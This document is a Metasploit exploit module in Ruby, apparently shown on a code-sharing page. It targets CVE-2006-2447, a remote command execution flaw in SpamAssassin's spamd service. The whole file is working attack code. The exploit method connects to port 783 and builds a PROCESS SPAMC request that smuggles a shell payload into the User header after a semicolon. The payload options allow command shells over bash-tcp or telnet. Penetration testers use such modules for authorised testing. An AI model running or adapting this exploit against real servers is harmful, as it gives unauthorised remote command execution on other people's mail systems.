Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'SpamAssassin spamd Remote Command Execution',
14
      'Description'    => %q{
15
          This module exploits a flaw in the SpamAssassin spamd service by specifying
16
        a malicious vpopmail User header, when running with vpopmail and paranoid
17
        modes enabled (non-default). Versions prior to v3.1.3 are vulnerable
18
      },
19
      'Author'         => [ 'aushack' ],
20
      'License'        => MSF_LICENSE,
21
      'References'     =>
22
        [
23
          [ 'CVE', '2006-2447' ],
24
          [ 'OSVDB', '26177' ],
25
          [ 'BID', '18290' ],
26
          [ 'URL', 'http://spamassassin.apache.org/advisories/cve-2006-2447.txt' ],
27
        ],
28
      'Privileged'     => false,
29
      'Payload'        =>
30
        {
31
          'DisableNops' => true,
32
          'Space'       => 1024,
33
          'Compat'      =>
34
            {
35
              'PayloadType' => 'cmd cmd_bash',
36
              'RequiredCmd' => 'generic perl ruby bash-tcp telnet',
37
            }
38
        },
39
      'Platform'       => 'unix',
40
      'Arch'           => ARCH_CMD,
41
      'Targets'        =>
42
        [
43
          [ 'Automatic', { }],
44
        ],
45
      'DisclosureDate' => '2006-06-06',
46
      'DefaultTarget'  => 0))
47

48
    register_options(
49
      [
50
        Opt::RPORT(783)
51
      ])
52
  end
53

54
  def exploit
55
    connect
56

57
    content = Rex::Text.rand_text_alpha(20)
58

59
    sploit = "PROCESS SPAMC/1.2\r\n"
60
    sploit << "Content-length: #{(content.length + 2)}\r\n"
61
    sploit << "User: ;#{payload.encoded}\r\n\r\n"
62
    sploit << content + "\r\n\r\n"
63

64
    sock.put(sploit)
65

66
    handler
67
    disconnect
68
  end
69
end
70

71